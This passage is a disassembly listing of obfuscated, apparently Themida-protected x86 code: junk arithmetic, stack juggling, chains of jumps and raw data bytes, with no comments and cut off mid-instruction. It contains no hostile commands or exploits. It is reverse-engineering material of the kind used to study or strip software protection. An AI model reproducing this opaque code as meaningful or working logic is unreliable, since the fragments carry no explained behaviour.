loc_5521DC not ebp xor ebp, 98E1CEF6h mov bh, 63h loc_550850: ; CODE XREF: Themida_:0054DF8Bj add dword ptr [esp], 4 push dword ptr [esp] pop edi add esp, 4 push esi mov esi, 4 add edi, esi pop esi push ebp mov ebp, 2 sub edi, 7CB31CCAh jmp loc_5549B0 ; --------------------------------------------------------------------------- loc_55087B: ; CODE XREF: Themida_:00552086j push 7B6Ah mov [esp], esi mov esi, 5C6809B5h add esi, 0C1954CC7h add ebx, 6EC143C7h jmp loc_54CDE7 ; --------------------------------------------------------------------------- loc_550899: ; CODE XREF: Themida_:0054D09Aj sub bl, 0Bh pop edx sub bl, 26h push edx mov dh, 23h add dh, 0AAh sub dh, 14h inc dh dec dh shl dh, 6 xor dh, 0A7h jmp loc_5545A2 ; --------------------------------------------------------------------------- dd 1C78E9h db 0 ; --------------------------------------------------------------------------- loc_5508BD: ; CODE XREF: Themida_:005541D6j mov edi, 1C8D3AEEh sub edi, 0DDAE446Ah sub esi, edi mov edi, [esp] add esp, 4 mov ecx, esi pop esi neg ecx sub ecx, 0AEC824DCh xor edi, ecx mov ecx, [esp] jmp loc_54E502 ; --------------------------------------------------------------------------- loc_5508E8: ; CODE XREF: Themida_:00550234j push ecx mov ecx, esp push eax push edi push 3C6065B8h pop edi add edi, 0FE4CCF8Eh mov eax, edi pop edi xor eax, 39B166AEh shr eax, 7 jmp loc_555F9A ; --------------------------------------------------------------------------- loc_550909: ; CODE XREF: Themida_:0054922Cj mov ecx, esp add ecx, 4 jmp loc_54C029 ; --------------------------------------------------------------------------- loc_550916: ; CODE XREF: Themida_:loc_553E9Fj push edx mov dh, 3Ah shr dh, 5 neg dh jmp loc_549EEF ; --------------------------------------------------------------------------- db 0FFh a4Ysa db '4$YИ═:',0 align 4 dd 8143D3F7h, 0B3089EEBh, 0C0840F7Eh, 81FFFFD1h, 0D853B5C3h dd 8BDE317Bh, 2FE9241Ch, 3Eh, 241C8BD8h, 0FFACBBE9h db 0FFh ; --------------------------------------------------------------------------- loc_550955: ; CODE XREF: Themida_:0054E4EDj pop cx inc cx jp loc_548ED9 shl cx, 7 shr cx, 3 add cx, 5A86h mov esi, ebx loc_55096E: ; CODE XREF: Themida_:0054E859j add ebx, edx add ebx, 10BC23ADh push edi jmp loc_54B415 ; --------------------------------------------------------------------------- loc_55097C: ; CODE XREF: Themida_:00549484j xor ebp, [esp] jmp loc_54BEAF ; --------------------------------------------------------------------------- dd 0B9240C89h, 51C0001Eh, 4F5DBE56h, 814636B4h, 8D0BC7C6h dd 95EE8150h, 0E9463E46h, 0FFFFE3D9h ; --------------------------------------------------------------------------- loc_5509A4: ; CODE XREF: Themida_:0054FA4Bj pop esp retn ; --------------------------------------------------------------------------- dw 5E9h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5509AB: ; CODE XREF: Themida_:0054DAB0j mov ebx, 20145F13h or edx, ebx jmp loc_555F20 ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 4116658h, 62E99C24h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5509C7: ; CODE XREF: Themida_:00551B9Aj neg ebp inc ebp jns loc_54BC94 jmp loc_54BCC9 ; --------------------------------------------------------------------------- loc_5509D5: ; CODE XREF: Themida_:0054C417j pop ebx sub esi, edx pop edx jmp loc_54B987 ; --------------------------------------------------------------------------- loc_5509DE: ; CODE XREF: Themida_:0054D611j ; Themida_:0055166Dj sub edx, ebx pop ebx sub edx, eax jmp loc_551521 ; --------------------------------------------------------------------------- dd 295EF029h, 24048BC2h, 0FFC0DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5509F5: ; CODE XREF: Themida_:0054F4E1j ; Themida_:00554843j mov ebx, 367D3478h xor ebx, 548A470Dh dec ebx jmp loc_5556A3 ; --------------------------------------------------------------------------- dw 0E389h dd 4C381h, 37E90000h, 81FFFFF6h, 4C2h, 4685000h, 58000000h dd 8758C229h, 0E95C2414h, 0FFFFFF58h ; --------------------------------------------------------------------------- loc_550A2C: ; CODE XREF: Themida_:0054B1FBj popa jmp loc_5518DE ; --------------------------------------------------------------------------- loc_550A32: ; CODE XREF: Themida_:00553510j push eax mov ah, 20h jmp loc_549B4A ; --------------------------------------------------------------------------- loc_550A3A: ; CODE XREF: Themida_:005514EEj add esp, 4 jmp loc_553322 ; --------------------------------------------------------------------------- db 59h, 0F7h, 0D1h dd 8B50E981h, 0CE8923D6h, 0EEC14659h, 34B85003h, 810CC222h dd 3634AEC6h, 0CFEE811Ch, 2929C376h, 0DD89E9C6h, 0EE29FFFFh dd 69C6815Dh, 29992431h, 24348BF7h, 5604C483h, 0AE646EBEh dd 77EE915h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550A8A: ; CODE XREF: Themida_:005529CFj ; Themida_:00552DAFj xor [esp], edi xor edi, [esp] mov esp, [esp] idiv cl movzx cx, ah push edi mov edi, esp add edi, 4 sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], edi jmp loc_54BAE6 ; --------------------------------------------------------------------------- loc_550AB7: ; CODE XREF: Themida_:00549B25j add esp, 4 jmp loc_554577 ; --------------------------------------------------------------------------- loc_550ABF: ; CODE XREF: Themida_:00551505j ; Themida_:005548D1j add esp, 4 mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ecx pop eax mov ecx, [esp] jmp loc_54B08A ; --------------------------------------------------------------------------- loc_550ADD: ; CODE XREF: Themida_:0054DC4Fj add edi, edx sub edi, 23D9156Ah add edi, 5FCF70EBh push dword ptr [esp] pop edx add esp, 4 xchg edi, [esp] mov esp, [esp] jmp loc_549EEA ; --------------------------------------------------------------------------- db 66h, 8Bh, 24h dd 7E23E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550B06: ; CODE XREF: Themida_:0054F229j mov ecx, 26A07CA9h jmp loc_5535EA ; --------------------------------------------------------------------------- dd 246C0166h, 44816602h, 0FDA0224h, 0FFDB90E9h, 21A968FFh dd 14890000h, 0E9E28924h, 0FFFFFEE3h, 0F733DE35h, 0CDACE9EEh dd 0EF81FFFFh, 56FCA8E3h, 0B9E9F901h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550B47: ; CODE XREF: Themida_:0054A12Dj pop edi push ebx mov ebx, 34DA2FABh dec ebx add ebx, 90B6AB1h xor ebx, 3EB85902h inc ebx jmp loc_550091 ; --------------------------------------------------------------------------- loc_550B61: ; CODE XREF: Themida_:0054CA59j or esi, ebp pop ebp shr esi, 8 sub esi, 1 sub esi, 0A9EFDEh and eax, esi mov esi, [esp] add esp, 4 shr eax, 12h xor eax, ecx xchg eax, ecx xor ecx, ebp xor ebp, ecx jmp loc_54FC88 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 31241C33h, 1C33241Ch, 4095C24h, 86E99C24h db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550BA3: ; CODE XREF: Themida_:00553B58j push ebx mov ebx, esp push eax push 22A92F89h pop eax inc eax push ecx mov ecx, 117F1675h and eax, ecx pop ecx push esi jmp loc_553B5D ; --------------------------------------------------------------------------- db 50h, 0E9h, 1Fh db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550BC3: ; CODE XREF: Themida_:00551A70j push ebp push ebx mov ebp, [esp] jmp loc_54986A ; --------------------------------------------------------------------------- db 0BFh, 0FAh, 78h dd 0EC833F11h, 240C8904h, 611CCAB9h, 6AC9810Eh, 812A2E15h dd 6F49BBC1h, 0E9C80132h, 0FFFF7F1Bh ; --------------------------------------------------------------------------- loc_550BF0: ; CODE XREF: Themida_:0054A0F2j mov eax, 1AE74FE7h push eax mov eax, 3CE359Ah add [esp+8], eax pop eax add dword ptr [esp+4], 74D35436h add [esp+4], eax sub dword ptr [esp+4], 74D35436h sub dword ptr [esp+4], 3CE359Ah mov eax, [esp] add esp, 4 pop ebp sub ebp, 1AE74FE7h pop edi and eax, ebp jmp loc_549FF2 ; --------------------------------------------------------------------------- loc_550C31: ; CODE XREF: Themida_:0054E22Fj and ebx, 37E83D19h jmp loc_54FEB9 ; --------------------------------------------------------------------------- loc_550C3C: ; CODE XREF: Themida_:005522C3j mov eax, [esp] jmp loc_54B533 ; --------------------------------------------------------------------------- loc_550C44: ; CODE XREF: Themida_:005523FFj pop edi xor edx, 794E31B6h mov ebp, edx jmp loc_55319F ; --------------------------------------------------------------------------- loc_550C52: ; CODE XREF: Themida_:00552E13j xor ah, dh pop dx jmp loc_54912C ; --------------------------------------------------------------------------- db 81h dd 2B1088C5h, 0FE08E903h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550C66: ; CODE XREF: Themida_:0054A898j xchg ebp, [esp] mov esp, [esp] pop dword ptr [esp] pop esp shl byte ptr [esp], cl pushf jmp loc_548929 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 4172h, 8B2434FFh, 0C4812434h, 4, 8904EC83h dd 0E589242Ch, 4228BE56h, 0C68160F9h, 9F06BDDCh, 815EF501h dd 4C5h, 4C16E900h, 248B0000h, 24040824h, 7C6BE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550CBE: ; CODE XREF: Themida_:00549D89j sub esi, edx add esi, 4E2C37DFh mov edx, [esp] push eax mov eax, esp add eax, 4 jmp loc_54A0D6 ; --------------------------------------------------------------------------- loc_550CD6: ; CODE XREF: Themida_:0055198Cj xor [esp], esi xor esi, [esp] jmp loc_54D63E ; --------------------------------------------------------------------------- loc_550CE1: ; CODE XREF: Themida_:00549239j push eax mov eax, 11B73E70h add eax, 606B778Dh shr eax, 7 or eax, 37DB2149h add eax, 642F4BC8h jmp loc_54C794 ; --------------------------------------------------------------------------- dw 0C483h dd 242C8B04h, 5704C483h, 4A9EBE56h, 64BF2856h, 1D7A9B5h dd 4D2BE9F7h, 2B90000h, 8159474Eh, 1324C5C1h, 0E584E96Bh dd 6866FFFFh, 10E92000h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D33: ; CODE XREF: Themida_:0054B3A2j shl edx, 3 push esi jmp loc_54ED17 ; --------------------------------------------------------------------------- loc_550D3C: ; CODE XREF: Themida_:005530BDj dec ebp jnz loc_54A3F2 jmp loc_5555C1 ; --------------------------------------------------------------------------- dd 168168h, 50F18A00h, 0A8E2C2B8h, 3406E9C7h, 0CAE90000h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D5F: ; CODE XREF: Themida_:0054A194j sub eax, 364D1700h sub eax, esi add eax, 364D1700h pop esi xor ebx, eax mov dx, [esp] push 1786h mov [esp], ebp sub esp, 4 mov [esp], esp push ebp jmp loc_550FA2 ; --------------------------------------------------------------------------- loc_550D89: ; CODE XREF: Themida_:00549C8Fj push eax mov eax, 0CFDDC4F9h jmp loc_54FB0E ; --------------------------------------------------------------------------- loc_550D94: ; CODE XREF: Themida_:005540A6j pop ecx xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_553FBE ; --------------------------------------------------------------------------- db 0BFh dd 40E42F8Eh, 0F703E7C1h, 0E9DFF7D7h, 0FFFFA2AAh, 0A91FE95Fh dd 0E089FFFFh, 0FFA3F3E9h db 0FFh ; --------------------------------------------------------------------------- loc_550DC1: ; CODE XREF: Themida_:00555173j push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp sub ebx, 2 jmp loc_549DC4 ; --------------------------------------------------------------------------- loc_550DD2: ; CODE XREF: Themida_:0054CF24j push 7FBFh mov [esp], esi jmp loc_54E9D1 ; --------------------------------------------------------------------------- loc_550DDF: ; CODE XREF: Themida_:0054DB27j js loc_54AE6E shl eax, 8 jp loc_552DDC push edx mov edx, 81C0D801h add eax, edx pop edx push 50E4h pop small word ptr [edx] jmp loc_548929 ; --------------------------------------------------------------------------- loc_550E04: ; CODE XREF: Themida_:0054ADDAj sub edi, ecx jmp loc_554A9F ; --------------------------------------------------------------------------- loc_550E0B: ; CODE XREF: Themida_:00553A87j not ah sub ah, 0CBh jmp loc_54B264 ; --------------------------------------------------------------------------- db 52h, 68h, 8Fh dd 0E92E210Bh, 2318h ; --------------------------------------------------------------------------- loc_550E20: ; CODE XREF: Themida_:0054AC40j add bl, al sub bl, 0F4h jmp loc_553C12 ; --------------------------------------------------------------------------- loc_550E2A: ; CODE XREF: Themida_:0054D35Ej ; Themida_:0054FF57j add [esp+4], edx sub dword ptr [esp+4], 0A6715FCh pop edx pop eax push ebx mov ebx, 132F71A3h dec ebx and ebx, 464845C7h add ebx, 68642D48h not ebx dec ebx jmp loc_54E5CA ; --------------------------------------------------------------------------- loc_550E53: ; CODE XREF: Themida_:005527BDj pop edi add esi, 2 jmp loc_551AB2 ; --------------------------------------------------------------------------- loc_550E5F: ; CODE XREF: Themida_:0055407Dj mov si, [esp] jmp loc_550606 ; --------------------------------------------------------------------------- dd 0FF7ABCE9h db 0FFh ; --------------------------------------------------------------------------- loc_550E6D: ; CODE XREF: Themida_:0054B7A3j ; Themida_:00553560j pop dword ptr [esp] mov esp, [esp] div cx push small 5A5Fh mov [esp], dx jmp loc_54CCC9 ; --------------------------------------------------------------------------- loc_550E83: ; CODE XREF: Themida_:00549B45j mov esi, esp push 6BADh jmp loc_552764 ; --------------------------------------------------------------------------- db 8Bh dd 0F662424h, 9C2404ABh, 0FF7A8CE9h, 243487FFh, 1CF7555Ch dd 24A8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550EAA: ; CODE XREF: Themida_:0054C4BFj jb loc_553001 sub ebp, 6D12BC64h mov esi, ebp pop ebp sub esi, 0DCD228Eh sub esp, 4 mov [esp], edi push eax mov eax, 39880649h mov edi, 0FB5457BEh add edi, eax pop eax or esi, edi pop edi jmp loc_54C2E8 ; --------------------------------------------------------------------------- loc_550EDE: ; CODE XREF: Themida_:0054E0C7j mov bl, 0DEh add bl, 1 push ecx push 8E2h mov [esp], ebx mov bl, 34h mov ch, bl pop ebx dec ch sub ch, 84h xor ch, 56h sub bl, ch pop ecx dec bl jno loc_549CCF add bl, 72h jb loc_54E8D0 sub bl, 6Bh loc_550F10: ; CODE XREF: Themida_:0054F2EEj push esi mov esi, 12E2177Bh mov edi, 12E2177Dh sub edi, esi pop esi add eax, edi pop edi jmp loc_552B6F ; --------------------------------------------------------------------------- dw 8B66h dd 0EC812404h, 4, 54241C89h, 4C3815Bh, 68000000h, 64C4h dd 0BD242C89h, 2, 155BC381h, 0EB0174B8h, 155BEB81h, 66E974B8h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550F5B: ; CODE XREF: Themida_:0054D8FFj and bh, 0D8h jmp loc_549777 ; --------------------------------------------------------------------------- db 0B9h dd 7E5C3D86h, 0FFE0FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_550F6D: ; CODE XREF: Themida_:0054D74Bj ; Themida_:00555640j shl cl, 3 xor cl, 13h sub al, cl jmp loc_54AA7C ; --------------------------------------------------------------------------- loc_550F7A: ; CODE XREF: Themida_:00549FB3j sub esi, 177752C1h pop ebx sub esp, 4 mov [esp], esi push dword ptr [esp+4] pop esi jmp loc_54F770 ; --------------------------------------------------------------------------- db 81h, 0EDh, 0DFh dd 53AA04A2h, 0D989EB89h, 0F004E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550FA2: ; CODE XREF: Themida_:00550D84j push 4 pop ebp add [esp+4], ebp mov ebp, [esp] jmp loc_54E59B ; --------------------------------------------------------------------------- loc_550FB4: ; CODE XREF: Themida_:0054FB86j add esp, 4 jmp loc_54C2D4 ; --------------------------------------------------------------------------- loc_550FBC: ; CODE XREF: Themida_:0054DB64j ; Themida_:0054EAA3j push edx jmp loc_54AD13 ; --------------------------------------------------------------------------- loc_550FC2: ; CODE XREF: Themida_:0055010Ej push ebp jmp loc_54DB16 ; --------------------------------------------------------------------------- loc_550FC8: ; CODE XREF: Themida_:0055457Aj mov [esp], ecx push ebx mov ebx, 78174C87h sub ebx, 448D7BD1h or ebx, 389B6D75h jmp loc_54C9BF ; --------------------------------------------------------------------------- dw 0E958h dd 0FFFF81FDh ; --------------------------------------------------------------------------- loc_550FE8: ; CODE XREF: Themida_:0054F4A7j or ebp, edx mov edx, [esp] jmp loc_54B20B ; --------------------------------------------------------------------------- loc_550FF2: ; CODE XREF: Themida_:0054D772j push esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx push 20DDh jmp loc_555EFB ; --------------------------------------------------------------------------- aUhzi db 'Uh┤i',0 align 4 dd 0BA241489h, 4D283F4Ah, 0C14AD2F7h, 0BF5705E2h, 75CF491Dh dd 11E9FA21h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551033: ; CODE XREF: Themida_:00549D10j push ebp mov ebp, 495B3CD7h push ebp mov ebp, 64BA1C39h add eax, ebp pop ebp sub eax, ebp sub eax, 64BA1C39h push dword ptr [esp] pop ebp add esp, 4 sub eax, ecx add eax, 495B3CD7h mov ecx, [esp] add esp, 4 shl eax, cl sub esp, 4 mov [esp], ebp push 30223B07h mov ebp, [esp] push ecx jmp loc_54FBA8 ; --------------------------------------------------------------------------- loc_551079: ; CODE XREF: Themida_:005503D2j pop esp add esi, 4 push edx jmp loc_549715 ; --------------------------------------------------------------------------- dw 8B66h dd 0E9502404h, 0FFFFA2C1h, 0F681DEF7h, 2E8A2948h, 685EF101h dd 229Fh, 0BE243489h, 621865A5h, 0F409E996h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5510AE: ; CODE XREF: Themida_:005532B7j dec esi dec esi dec esi xor esi, 0E2A794CDh jmp loc_555C55 ; --------------------------------------------------------------------------- dd 93E2E981h, 5E514A3Fh, 57F68159h, 8161562Ah, 4A1A31C6h dd 0BFCE8143h, 810CBF77h, 0E63CBEEh, 30F6814Fh, 813EB11Ch dd 246C63EFh, 0E9F70138h, 0FFFF7FC9h, 4EC81h, 4890000h dd 57D06824h, 5587A11h, 880ED9B8h, 0FF7D45E9h db 0FFh ; --------------------------------------------------------------------------- loc_551109: ; CODE XREF: Themida_:0054CC1Aj sub edx, 17606D89h add edx, 43C7A4EDh sub ebp, edx jmp loc_549BF6 ; --------------------------------------------------------------------------- dd 8537E957h, 262DFFFFh, 154571Ah, 1A2605F0h, 62D5457h dd 5E75AE13h, 4773BE56h, 0DEF72990h, 8106E6C1h, 245F10E6h dd 9563E92Fh, 0C180FFFFh, 0CB8853ECh, 1C8BD888h, 4C48124h dd 8B000000h, 0CE9240Ch, 0C1FFFFDEh, 1DE905E1h, 53FFFFC4h dd 468h, 0DF015B00h, 0D337E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55117A: ; CODE XREF: Themida_:00551F7Fj mov esi, 159B5671h xor esi, 5B4F6174h or esi, 213C1E75h add esi, 0E8EBF424h sub ecx, esi pop esi push 7269h mov [esp], esi mov esi, 4 and ecx, esi push dword ptr [esp] mov esi, [esp] add esp, 4 push edi mov edi, esp push edx mov edx, 4 add edi, edx pop edx jmp loc_54E00D ; --------------------------------------------------------------------------- loc_5511C0: ; CODE XREF: Themida_:00555570j add esp, 4 mov ebx, eax mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_548929 ; --------------------------------------------------------------------------- loc_5511E0: ; CODE XREF: Themida_:0054F74Cj push small 3DA4h mov [esp], dx mov dh, 24h push ax jmp loc_54A261 ; --------------------------------------------------------------------------- loc_5511F1: ; CODE XREF: Themida_:0054B335j push ecx jmp loc_54F7A6 ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 508Fh, 0E9243489h, 0FFFFA502h ; --------------------------------------------------------------------------- loc_551208: ; CODE XREF: Themida_:00549FCAj sub edi, esi pop esi add edi, esi add edi, 15AE646Eh add edi, 5A6F2DDDh pop esi xchg edi, [esp] pop esp mov ax, [esp] push edi push esp jmp loc_553197 ; --------------------------------------------------------------------------- loc_551229: ; CODE XREF: Themida_:00553697j sub eax, 0DA765825h push ebp push eax pop ebp jmp loc_551EC9 ; --------------------------------------------------------------------------- loc_551236: ; CODE XREF: Themida_:005520BDj mov [esp], edx push ecx jmp loc_54D34C ; --------------------------------------------------------------------------- loc_55123F: ; CODE XREF: Themida_:0054F59Bj neg edi sub edi, 45784301h add eax, edi pop edi xchg eax, [esp] pop esp push ecx jmp loc_54BFD5 ; --------------------------------------------------------------------------- loc_551254: ; CODE XREF: Themida_:0054C8FDj add edi, edx pop edx add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_5506B3 ; --------------------------------------------------------------------------- loc_55126B: ; CODE XREF: Themida_:0054E4ACj add esp, 4 xor edx, 1497654Ah ja loc_54DE6D inc edx jz loc_54CECD jmp loc_5534CC ; --------------------------------------------------------------------------- dw 8845h db 0E5h ; --------------------------------------------------------------------------- loc_551289: ; CODE XREF: Themida_:0054CAC6j xor ebp, ebx pop ebx jmp loc_54B9D7 ; --------------------------------------------------------------------------- loc_551291: ; CODE XREF: Themida_:0054EAFDj pop eax add esi, 55BC864h or ecx, esi pop esi and ecx, 56781AF9h jmp loc_54CAA1 ; --------------------------------------------------------------------------- dw 0E953h dd 0FFFF7A98h, 0BE243489h, 1, 3B4EE9h, 0A1B85000h, 0E9521D3Fh dd 0FFFFA0B1h ; --------------------------------------------------------------------------- loc_5512C4: ; CODE XREF: Themida_:00551C7Bj add ebp, 4 jmp loc_54EA5D ; --------------------------------------------------------------------------- db 5Eh dd 2C8BEA89h, 4C48124h, 21000000h, 4532E9D0h, 815F0000h dd 2C3h, 6ED46800h, 0E6E90000h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5512F3: ; CODE XREF: Themida_:00554B57j add esp, 4 push 1E6Ch mov [esp], ebp mov ebp, 15D5D8Bh sub ecx, 286A1413h jmp loc_5499D8 ; --------------------------------------------------------------------------- loc_551311: ; CODE XREF: Themida_:0054B8E4j add esp, 4 push 39EDh jmp loc_54BADE ; --------------------------------------------------------------------------- db 52h, 0BAh, 65h dd 0E9101E03h, 0FFFFAD99h ; --------------------------------------------------------------------------- loc_55132C: ; CODE XREF: Themida_:0054A0A9j pop edx push ebx mov ebx, 5AF5342Ch dec ebx xor ebx, 75E66FFh xor ebx, 1C905686h push ebp mov ebp, 33293BF2h xor ebx, ebp jmp loc_553946 ; --------------------------------------------------------------------------- loc_55134D: ; CODE XREF: Themida_:0055414Ej inc edx jnz loc_54ADBF push 2A40h mov [esp], edi mov bh, 0C7h push esp pop eax push edi mov edi, 789117C1h neg edi push ecx mov ecx, 789117C5h sub edi, 7ED415C2h add edi, ecx jmp loc_54D595 ; --------------------------------------------------------------------------- loc_55137C: ; CODE XREF: Themida_:0055408Bj add edi, 0ECF7CA04h mov eax, edi jmp loc_54D1ED ; --------------------------------------------------------------------------- loc_551389: ; CODE XREF: Themida_:0054990Fj neg eax xor eax, 5FDD49EBh add eax, 45C12147h xor esi, eax jmp loc_54F833 ; --------------------------------------------------------------------------- loc_55139C: ; CODE XREF: Themida_:0054D921j push dword ptr [esp] pop eax add esp, 4 push 0A22h jmp loc_54D0CF ; --------------------------------------------------------------------------- loc_5513AD: ; CODE XREF: Themida_:0055444Ej xor esi, [esp] mov esp, [esp] push edi push eax jmp loc_54B2D1 ; --------------------------------------------------------------------------- dw 0BF57h dd 2, 4AE9F989h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5513C7: ; CODE XREF: Themida_:00549F71j xor edx, edx jmp loc_553129 ; --------------------------------------------------------------------------- loc_5513CE: ; CODE XREF: Themida_:005533BEj sub al, 62h pop ecx jmp loc_555918 ; --------------------------------------------------------------------------- dw 0EB88h dd 0E958E588h, 0FFFFB71Ah, 0E7E932FFh db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5513E7: ; CODE XREF: Themida_:0054E370j push edi mov edi, 45A03C18h sub esp, 4 mov [esp], esi mov esi, 41F806FBh add esi, 2D5E3BA4h jg loc_554DCE add esi, 0FE93D1D4h jmp loc_555AAD ; --------------------------------------------------------------------------- dw 1C89h db 24h ; --------------------------------------------------------------------------- loc_551415: ; CODE XREF: Themida_:0054F8CDj add bl, 84h mov eax, [esp] add esp, 4 movzx eax, al mov dx, [esp] push 2FA4h mov [esp], ebx jmp loc_54E36E ; --------------------------------------------------------------------------- loc_551435: ; CODE XREF: Themida_:0055290Aj xor ebx, 56867B8Dh jg loc_553F87 jmp loc_54D9F4 ; --------------------------------------------------------------------------- loc_551446: ; CODE XREF: Themida_:0054A33Dj sub ebp, 3EE96950h mov ecx, ebp pop ebp add edx, ecx pop ecx push ebx jmp loc_55237E ; --------------------------------------------------------------------------- loc_551458: ; CODE XREF: Themida_:0054C22Ej mov ecx, 164653B2h shr ecx, 2 jns loc_54AB82 dec ecx jnp loc_554F03 jmp loc_54E7B7 ; --------------------------------------------------------------------------- loc_551472: ; CODE XREF: Themida_:0054F269j push esp jmp loc_54DA75 ; --------------------------------------------------------------------------- loc_551478: ; CODE XREF: Themida_:0054CD1Dj ; Themida_:005538AEj and eax, 21940814h inc eax sub eax, 0B007A6F9h jmp loc_55255F ; --------------------------------------------------------------------------- loc_551488: ; CODE XREF: Themida_:0054E79Ej shl esi, 7 push ebx mov ebx, 51595FFAh add esi, ebx pop ebx jmp loc_54CCF7 ; --------------------------------------------------------------------------- loc_551499: ; CODE XREF: Themida_:005532CEj or di, si pop esi xor di, 0E876h sub ax, di jmp loc_553E39 ; --------------------------------------------------------------------------- loc_5514AA: ; CODE XREF: Themida_:0054B2CCj add al, bl pop bx mov edx, [esp] add esp, 4 push 1F30h mov [esp], edx push eax mov al, 7Fh push edx mov dh, 57h jmp loc_54A37C ; --------------------------------------------------------------------------- loc_5514CA: ; CODE XREF: Themida_:0054C6FCj push 3D61h mov [esp], esi jmp loc_5507CF ; --------------------------------------------------------------------------- db 81h dd 4C1h, 4C18100h, 0E9000000h, 30D0h ; --------------------------------------------------------------------------- loc_5514E8: ; CODE XREF: Themida_:0054A5A6j add esp, 4 jmp loc_550A3A ; --------------------------------------------------------------------------- loc_5514F3: ; CODE XREF: Themida_:00554554j pop eax sub ecx, 0FFFFFFFFh jmp loc_5527C2 ; --------------------------------------------------------------------------- loc_5514FC: ; CODE XREF: Themida_:00555F35j mov edx, eax mov ecx, edx pop edx push dword ptr [esp] pop eax jmp loc_550ABF ; --------------------------------------------------------------------------- loc_55150A: ; CODE XREF: Themida_:0054D6F7j jmp loc_55323C ; --------------------------------------------------------------------------- db 5Bh dd 0F505D801h, 2D3C311Eh, 6A8E29A0h, 8C7E9h db 0 ; --------------------------------------------------------------------------- loc_551521: ; CODE XREF: Themida_:005509E3j push edi mov edi, 406B0FC1h sub edi, 28280E34h sub edx, 31787709h add edx, edi jmp loc_548B67 ; --------------------------------------------------------------------------- loc_55153A: ; CODE XREF: Themida_:0054B749j add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop ebp push edi jmp loc_551946 ; --------------------------------------------------------------------------- loc_551552: ; CODE XREF: Themida_:005506C4j and eax, edi push dword ptr [esp] push dword ptr [esp] jmp loc_5557E3 ; --------------------------------------------------------------------------- loc_55155F: ; CODE XREF: Themida_:0054E687j add dword ptr [esp], 4 jmp loc_5559D3 ; --------------------------------------------------------------------------- dd 0FFAC00E9h, 2434FFFFh, 0FF2434FFh, 0C8B2434h, 4C48324h dd 1FB26852h, 24890000h, 0C4F1E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55158A: ; CODE XREF: Themida_:00555296j shl edx, 8 jmp loc_54A0A1 ; --------------------------------------------------------------------------- loc_551592: ; CODE XREF: Themida_:00552EBDj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add al, 0CFh push dword ptr [esp] pop ecx add esp, 4 xor bl, al movzx eax, al push dword ptr [edi+eax*4] push edx jmp loc_54FF49 ; --------------------------------------------------------------------------- loc_5515BB: ; CODE XREF: Themida_:005521F9j pop esi sub esi, 786B544Bh add esi, edx add esi, 786B544Bh pop edx xor esi, [esp] xor [esp], esi jmp loc_5535A4 ; --------------------------------------------------------------------------- loc_5515D6: ; CODE XREF: Themida_:0054BCD7j pop ebp jmp loc_553994 ; --------------------------------------------------------------------------- dd 8305E5C1h, 0C8904ECh, 753CB924h, 0E1C13E5Eh, 15E18102h dd 0F726BA2Ch, 8E1C1D9h, 0E962E981h, 0CD295B9Ah, 0E92434FFh dd 286Dh, 0E8CCE9ADh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55160E: ; CODE XREF: Themida_:00548FADj jmp loc_549ADB ; --------------------------------------------------------------------------- loc_551613: ; CODE XREF: Themida_:0054B55Aj push 42F4h mov [esp], ebx push dword ptr [esp] jmp loc_54CB5A ; --------------------------------------------------------------------------- loc_551623: ; CODE XREF: Themida_:00554BFCj jmp loc_548929 ; --------------------------------------------------------------------------- loc_551628: ; CODE XREF: Themida_:00552C9Bj add esi, 4 xchg esi, [esp] mov esp, [esp] push ecx push edx push bx mov bh, 78h mov dl, bh jmp loc_54D50D ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 6658669Dh, 9C240419h, 0FF72D8E9h db 0FFh ; --------------------------------------------------------------------------- loc_551651: ; CODE XREF: Themida_:0054BBB5j pop eax sub edx, 26FB49DEh add edx, edi add edx, 26FB49DEh sub edx, 49B00449h pop edi push ebx mov ebx, 1843018Dh jmp loc_5509DE ; --------------------------------------------------------------------------- loc_551672: ; CODE XREF: Themida_:0054F7B3j push small 3738h mov [esp], bx push edx push ax mov al, 0CDh jmp loc_54CA5E ; --------------------------------------------------------------------------- loc_551684: ; CODE XREF: Themida_:0054FFA1j xor edi, 22B80904h add ebx, edi pop edi add ebx, 